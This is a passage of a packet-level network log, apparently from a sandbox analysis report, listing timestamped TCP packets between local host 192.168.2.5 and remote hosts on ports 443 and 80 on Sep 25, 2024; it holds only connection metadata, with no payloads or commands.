Sep 25, 2024 18:50:18.502386093 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.502393007 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.502419949 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.502494097 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.502507925 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.502558947 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.502567053 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503056049 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503076077 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503135920 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.503144026 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503314018 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503328085 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503375053 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.503391981 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503408909 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.503599882 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503618002 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503648996 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.503654957 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503676891 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503695011 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.503724098 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.503729105 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503746986 CEST	443	49705	207.241.227.240	192.168.2.5
Sep 25, 2024 18:50:18.503762007 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.503794909 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.507543087 CEST	49705	443	192.168.2.5	207.241.227.240
Sep 25, 2024 18:50:18.628433943 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:18.633460999 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:18.633681059 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:18.633836031 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:18.638799906 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113245964 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113270998 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113285065 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113296986 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113311052 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113322020 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113332987 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.113336086 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113351107 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.113394976 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.113411903 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.113431931 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.115319014 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.115370989 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.118315935 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.118405104 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.118416071 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.118482113 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.201545954 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.201570988 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.201603889 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.201642036 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.201646090 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.201673985 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.201700926 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.201700926 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.201791048 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.202290058 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.202333927 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.202362061 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.202389956 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.202400923 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.202419043 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.202433109 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.205837965 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.205903053 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.206197977 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206223965 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206286907 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.206377983 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206403971 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206430912 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206459999 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.206460953 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206471920 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206497908 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206513882 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.206525087 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206549883 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206553936 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.206595898 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.206681013 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.207521915 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.207549095 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.207576036 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.207595110 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.207631111 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.290368080 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290415049 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290435076 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290446997 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290456057 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.290458918 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290484905 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.290644884 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290656090 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290668011 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290683985 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.290702105 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290709019 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.290714979 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290726900 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290743113 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290746927 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.290774107 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.290790081 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290801048 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290812969 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.290824890 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.291404963 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.291441917 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.291481972 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.291493893 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.291505098 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.291516066 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.291516066 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.291538000 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.291549921 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.291563988 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.291568995 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.291604996 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.292015076 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292026043 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292038918 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292057037 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.292082071 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.292104959 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292115927 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292128086 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292139053 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292140007 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.292165041 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.292200089 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292211056 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292234898 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292248964 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.292819977 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292830944 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292843103 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292855978 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.292879105 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.292896032 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292907000 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292920113 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.292931080 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.293036938 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293046951 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293057919 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293071985 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293081999 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.293083906 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293117046 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.293772936 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293782949 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293795109 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293808937 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.293945074 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293956041 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.293981075 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.295284986 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.295325041 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379121065 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379167080 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379179001 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379199028 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379210949 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379221916 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379224062 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379240990 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379261971 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379430056 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379441977 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379452944 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379465103 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379471064 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379478931 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379496098 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379508018 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379518032 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379549980 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379566908 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379579067 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379590034 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379601002 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379611969 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379617929 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379625082 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379636049 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379646063 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379652023 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379662991 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379673958 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379679918 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379700899 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379740000 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379750013 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379761934 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379772902 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379779100 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379812002 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379858971 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379872084 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379890919 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379900932 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379901886 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379916906 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.379942894 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.379976988 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380132914 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380145073 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380157948 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380193949 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380249977 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380259991 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380270004 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380283117 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380289078 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380306005 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380388021 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380404949 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380415916 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380422115 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380429029 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380439043 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380441904 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380454063 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380465031 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380470991 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380476952 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380487919 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380494118 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380516052 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380657911 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380728960 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380760908 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380780935 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380791903 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380804062 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380839109 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380870104 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380881071 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380892038 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380908012 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380930901 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.380943060 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380953074 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380964041 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380978107 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.380995035 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.381023884 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.399663925 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399682999 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399699926 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399712086 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399724960 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399738073 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.399743080 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399764061 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399774075 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399784088 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.399787903 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399800062 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399812937 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399822950 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399833918 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399835110 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.399844885 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399857044 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399872065 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399872065 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.399884939 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399907112 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.399923086 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399933100 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399945021 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.399966955 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.399996042 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.400083065 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.400094032 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.400105953 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.400125027 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.400228024 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.400248051 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.400266886 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.447832108 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486041069 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486056089 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486126900 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486145973 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486149073 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486162901 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486218929 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486274004 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486285925 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486299038 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486309052 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486321926 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486325026 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486363888 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486365080 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486390114 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486402035 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486413002 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486423969 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486435890 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486438036 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486473083 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486532927 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486546040 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486562014 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486582041 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486605883 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486613035 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486624956 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486638069 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486664057 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486711025 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486741066 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486747026 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486754894 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486871004 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486881971 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486892939 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486903906 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486917019 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486937046 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486946106 CEST	49708	80	192.168.2.5	104.168.32.148
Sep 25, 2024 18:50:19.486949921 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.486963034 CEST	80	49708	104.168.32.148	192.168.2.5
Sep 25, 2024 18:50:19.487000942 CEST	49708	80	192.168.2.5	104.168.32.148
